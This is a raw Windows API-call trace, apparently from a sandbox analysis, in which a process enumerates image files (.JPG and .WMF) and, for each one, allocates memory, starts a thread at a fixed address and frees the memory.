	[0242.233] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1
	[0242.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ea8
	[0242.282] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.283] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1
	[0242.283] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eac
	[0242.285] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.286] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1
	[0242.286] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eb0
	[0242.287] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.288] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1
	[0242.288] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eb4
	[0242.290] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.291] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0292270.WMF", cAlternateFileName="")) returned 1
	[0242.291] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eb8
	[0242.293] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.294] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0292272.WMF", cAlternateFileName="")) returned 1
	[0242.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ebc
	[0242.295] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.296] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0292278.WMF", cAlternateFileName="")) returned 1
	[0242.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec0
	[0242.298] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.299] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0292286.WMF", cAlternateFileName="")) returned 1
	[0242.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec4
	[0242.301] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.301] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0293800.WMF", cAlternateFileName="")) returned 1
	[0242.301] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec8
	[0242.304] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.305] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0293832.WMF", cAlternateFileName="")) returned 1
	[0242.305] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ecc
	[0242.306] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.307] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0294989.WMF", cAlternateFileName="")) returned 1
	[0242.307] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ed0
	[0242.309] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.310] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0294991.WMF", cAlternateFileName="")) returned 1
	[0242.310] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ed4
	[0242.312] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.313] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0295069.WMF", cAlternateFileName="")) returned 1
	[0242.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ed8
	[0242.315] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.315] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0296277.WMF", cAlternateFileName="")) returned 1
	[0242.315] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1edc
	[0242.329] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.330] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0296279.WMF", cAlternateFileName="")) returned 1
	[0242.330] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ee0
	[0242.333] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.333] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0296288.WMF", cAlternateFileName="")) returned 1
	[0242.333] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ee4
	[0242.336] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.336] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297229.WMF", cAlternateFileName="")) returned 1
	[0242.336] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ee8
	[0242.338] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.339] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297269.WMF", cAlternateFileName="")) returned 1
	[0242.339] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eec
	[0242.341] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.341] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297725.WMF", cAlternateFileName="")) returned 1
	[0242.341] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ef0
	[0242.344] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.344] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297727.WMF", cAlternateFileName="")) returned 1
	[0242.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ef4
	[0242.346] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.347] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297757.WMF", cAlternateFileName="")) returned 1
	[0242.347] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ef8
	[0242.349] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.350] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4960, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297759.WMF", cAlternateFileName="")) returned 1
	[0242.350] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1efc
	[0242.352] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.353] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0300862.WMF", cAlternateFileName="")) returned 1
	[0242.421] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f00
	[0242.424] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.425] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66f5700, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf66f5700, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0301044.WMF", cAlternateFileName="")) returned 1
	[0242.425] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f04
	[0242.427] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.428] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab7300, ftCreationTime.dwHighDateTime=0x1bf4a6c, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ab7300, ftLastWriteTime.dwHighDateTime=0x1bf4a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0301052.WMF", cAlternateFileName="")) returned 1
	[0242.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f08
	[0242.429] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.430] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0301418.WMF", cAlternateFileName="")) returned 1
	[0242.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0c
	[0242.432] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.432] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0301432.WMF", cAlternateFileName="")) returned 1
	[0242.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f10
	[0242.435] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
